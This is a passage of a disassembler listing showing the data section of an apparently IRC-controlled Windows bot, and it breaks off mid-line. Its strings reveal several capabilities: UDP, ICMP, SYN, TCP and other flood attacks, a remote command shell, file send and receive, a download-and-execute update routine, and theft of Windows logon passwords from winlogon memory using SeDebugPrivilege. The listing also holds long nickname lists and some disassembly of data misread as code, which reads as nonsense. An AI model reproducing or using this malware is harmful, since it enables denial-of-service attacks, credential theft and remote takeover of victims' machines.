7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_437314 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_4143AC+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_437704 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415C76+35o dword_437718 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415C76+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415CEE+60o align 10h dword_437750 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415D8E:loc_415DC3o dword_437764 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415D8E+20o dword_437778 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415EDDo dd 6574656Ch, 0 dword_437794 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:00415E40o dd 676E6974h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437814 db 2Dh ; - ; DATA XREF: ___:00416274o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_437838 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:004164D9o ; ___:0041666Fo dd 726F72h unk_437850 db 2Dh ; - ; DATA XREF: ___:00416471o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_43787C db 2Dh ; - ; DATA XREF: ___:00416379o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_4378A0 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00416342o dd 74756Fh dword_4378B8 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:004162E1o dd 169h unk_4378D0 db 2Dh ; - ; DATA XREF: ___:0041629Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_4378F0 db 2Dh ; - ; DATA XREF: ___:004161F9o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437914 db 2Dh ; - ; DATA XREF: ___:004161BBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_437938 db 2Dh ; - ; DATA XREF: ___:004166E8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_437964 db 2Dh ; - ; DATA XREF: ___:004165E4o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_437984 db 2Dh ; - ; DATA XREF: ___:004165C4o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:004165B0o unk_4379B4 db 2Dh ; - ; DATA XREF: ___:0041659Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_4379E4 db 2Dh ; - ; DATA XREF: ___:00416BE7o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437A10 db 2Dh ; - ; DATA XREF: ___:00416BD9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_437A44 db 2Dh ; - ; DATA XREF: ___:00416B1Do db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_437A88 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416AACo dd 25206465h, 73h unk_437AA4 db 2Dh ; - ; DATA XREF: ___:00416A35o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_437ADC db 2Dh ; - ; DATA XREF: ___:004169B6o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437B04 db 2Dh ; - ; DATA XREF: ___:0041692Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_437B30 db 2Dh ; - ; DATA XREF: ___:004168E9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_437B58 db 2Dh ; - ; DATA XREF: ___:004168D7o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_437B80 db 2Dh ; - ; DATA XREF: ___:004167CBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_416CFC:loc_416D3Fo ; sub_4193FF+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_416CFC:loc_416D39o aDisk db 'Disk',0 ; DATA XREF: sub_416CFC:loc_416D33o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_416CFC:loc_416D2Do aCdrom db 'Cdrom',0 ; DATA XREF: sub_416CFC:loc_416D27o align 10h off_437BD0 dd offset word_4D4152 ; DATA XREF: sub_416CFC:loc_416D21o word_437BD4 dw 3Fh ; DATA XREF: sub_416CFC+1Fo ; sub_41AF2B:loc_41B02Dr align 4 aFailed db 'failed',0 ; DATA XREF: sub_416D8D:loc_416E65o ; sub_416EA8+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416D8D+6Bo align 4 unk_437BE8 db 2Dh ; - ; DATA XREF: sub_416EA8+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437C24 db 2Dh ; - ; DATA XREF: sub_416EA8+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416F7A:loc_416FBFo db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437CD0 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173E2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437D04 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173B5o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437D30 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173AEo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_437D68 db 2Dh ; - ; DATA XREF: sub_417269+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437DC4 dd offset byte_530055 ; DATA XREF: sub_417269+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004A+3 dd offset byte_4E0049 dd 0 off_437DDC dd offset byte_530055 ; DATA XREF: sub_417269+CEo dd offset byte_520045 dd offset loc_41004A+4 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417269+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417269+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417269+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417269+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417269+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_417269+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_417269+40o ; sub_417269+161o ... align 10h unk_437EA0 db 2Dh ; - ; DATA XREF: sub_417269+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_41743B+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_41743B+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_41743B+AFo align 4 dword_437EEC dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4178A1+70o ; sub_417938+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437F3C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417938+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437F90 dd offset aQ ; DATA XREF: sub_417E35+5Cr ; "q" ; --------------------------------------------------------------------------- inc eax mov eax, [ebx+0] mov [ecx-394FFFBEh], dh inc edx add [esi+eax*8], ch inc edx add [ebx+ecx*4], bh inc ebx add ah, dl scasd inc edx add [eax-4FFFBD3Ah], al scasd inc edx add [eax], bl mov dl, 42h add [eax+380042C6h], cl mov eax, [ebx+0] xor al, 8Bh inc ebx add [eax], dh mov eax, [ebx+0] sub al, 8Bh inc ebx add [eax+680042B7h], al mov bh, 42h add [eax], ch mov eax, [ebx+0] and al, 8Bh inc ebx add [eax], ah mov eax, [ebx+0] cld retf 42h ; --------------------------------------------------------------------------- dd offset aV ; "v" dd offset dword_438B1C dd offset aN ; "n" dd offset aM ; "m" dd offset dword_438B18 dd offset dword_438B14 dd offset dword_438B10 dd offset dword_438B0C dd offset dword_438B08 dd offset word_438B04 dd offset dword_438B00 dd offset aI_0 ; "I" dd offset dword_438AFC dd offset dword_438AF8 dd offset aA_0 ; "A" dd offset dword_438AF4 dd offset dword_438AF0 dd offset dword_438AEC dd offset dword_438AE8 dd offset dword_438AE4 dd offset dword_438AE0 dd offset dword_438ADC dd offset dword_438AD8 dd offset dword_438AD4 dd offset dword_438AD0 dd offset dword_438ACC dd offset dword_438AC8 dd offset dword_438AC4 dd offset word_438AC0 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_438858 dd offset off_438854 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_4386C0 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" ; --------------------------------------------------------------------------- aam 85h inc ebx add al, cl test [ebx+0], eax rol byte ptr [ebp-7A4BFFBDh], 43h loc_43828B: ; DATA XREF: sub_417E35+41r ; sub_417E35+ECr add [eax-0BFFBC7Bh], ch xchg eax, ebp inc edx add [ebp+eax*4-7A5FFFBDh], ah inc ebx add [eax-6BFFBC7Bh], bl test [ebx+0], eax nop test [ebx+0], eax mov [ebp-7A7FFFBDh], al inc ebx add [eax-7Bh], bh inc ebx add [eax-7Bh], dh inc ebx add [eax-7Bh], ch inc ebx add [eax-7Bh], ah inc ebx add [eax-7Bh], bl inc ebx add [eax-7Bh], dl inc ebx add [ebp+eax*4+43h], al add ds:85340043h[eax*4], bh inc ebx add [eax], dh test [ebx+0], eax sub [ebp-74E3FFBDh], al inc ebx add ah, bh retf 42h ; --------------------------------------------------------------------------- dd offset dword_438B38 dd offset aE ; "e" dd offset dword_438B34 dd offset dword_438B30 dd offset dword_438B2C dd offset aI ; "i" dd offset dword_42B938 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_438B28 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_438B40 dd offset dword_438B20 dd offset dword_438B3C dd offset dword_438B24 dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_438B24 dd offset dword_438B30 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_4384E0 dd offset aBbl ; "|bbl" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset a___0 ; "_|_" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset dword_438AEC dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438B1C dd offset byte_43B4B8 dd offset aSleeping ; "Sleeping" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset dword_438AD0 dd offset byte_43B4B8 dd offset off_4384A0 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_438460 dd offset dword_43845C dd offset dword_438454 dd offset dword_438448 dd offset dword_438440 dd offset dword_438438 dd offset dword_438430 dd offset dword_43842C dd offset dword_438428 dword_438428 dd 7536h ; DATA XREF: ___:00438424o dword_43842C dd 7535h ; DATA XREF: ___:00438420o dword_438430 dd 7C75347Ch, 0 ; DATA XREF: ___:0043841Co dword_438438 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438418o dword_438440 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438414o dword_438448 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438410o dword_438454 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043840Co dword_43845C dd 6C6F6Ch ; DATA XREF: ___:00438408o dword_438460 dd 746F74h ; DATA XREF: ___:00438404o aMofo db 'mofo',0 ; DATA XREF: ___:00438400o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:004383FCo align 4 aMuha db 'muha',0 ; DATA XREF: ___:004383F8o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:004383F4o align 4 aAha db 'aha',0 ; DATA XREF: ___:004383F0o aShit db 'shit',0 ; DATA XREF: ___:004383ECo align 10h aGurl db 'gurl',0 ; DATA XREF: ___:004383E8o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:004383E4o align 10h off_4384A0 dd offset word_594F42 ; DATA XREF: ___:004383E0o aFree db 'Free',0 ; DATA XREF: ___:004383CCo align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: ___:004383C8o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:004383BCo align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:004383B0o align 4 aSad db 'Sad',0 ; DATA XREF: ___:004383ACo aLuvu db 'LUVU',0 ; DATA XREF: ___:004383A8o align 4 a___0 db '_|_',0 ; DATA XREF: ___:0043838Co aBbl db '|bbl',0 ; DATA XREF: ___:00438380o align 10h off_4384E0 dd offset loc_425241+1 ; DATA XREF: ___:0043837Co aMuckc db 'muckc',0 ; DATA XREF: ___:00438368o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00438364o align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00438360o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:0043835Co align 4 aUi db 'ui',0 ; DATA XREF: ___:00438358o align 4 aSdf db 'sdf',0 ; DATA XREF: ___:00438354o aRt db 'rt',0 ; DATA XREF: ___:00438350o align 10h aGf db 'gf',0 ; DATA XREF: ___:0043834Co align 4 aTy db 'ty',0 ; DATA XREF: ___:00438348o align 4 aRg db 'rg',0 ; DATA XREF: ___:00438344o align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438340o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438320o align 4 aQ8A db '|q8|a',0 align 10h aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 10h aGens db '{gens|',0 align 4 aSex_0 db '{sex}',0 align 10h aHub db '{hub}',0 align 4 aLuck db '|luck|',0 align 10h aSuck db '|suck|',0 align 4 aTot db '-|tot|',0 align 10h aWoh db '|woh|',0 align 4 aTambe db '|tambe|',0 aLag db 'lag',0 aBad db 'bad',0 aTree db 'tree',0 align 10h aZex db 'zex',0 aLez db 'lez',0 aWantedlove db 